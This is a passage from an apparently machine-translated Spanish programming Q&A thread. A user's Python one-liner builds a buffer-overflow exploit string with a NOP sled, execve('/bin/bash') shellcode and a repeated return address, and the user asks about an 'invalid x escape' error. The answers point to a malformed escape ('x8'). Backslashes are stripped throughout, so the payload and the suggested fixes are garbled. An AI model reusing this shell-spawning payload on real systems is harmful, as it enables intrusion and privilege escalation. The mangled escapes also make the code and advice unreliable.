python -c "print "x90" * 348 + "x31xc0x83xecx01x88x04x24x68x62x61x73x68x68x62x69x6ex2fx8xecx01xc6x04x24x2fx89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80" + "x30xd1xffxff" * 35"
ValueError: invalid x escape
¿Alguna idea de qué está causando este error?
Respuestas
10 por respuesta № 1tienes x8
en esta cadena, cambiarlo a x08
6 para la respuesta № 2
x8
, más probable. Debe haber dos dígitos hexadecimales por escape.
4 para la respuesta № 3
x8
Es incorrecto.
1 para la respuesta № 4
También tenga en cuenta que este error puede ocurrir si no escapa de un antes de un
x
En un comentario multilínea.
p.ej. en Python 2.7:
def fn():
""" Describing a file in the comments:
C:aaabbbxxxabc.txt
"""
return None
fn()
plantea la excepción:
ValueError: escape x inválido
Se puede arreglar cambiando C:aaabbbxxxabc.txt
a C:aaabbb\xxxabc.txt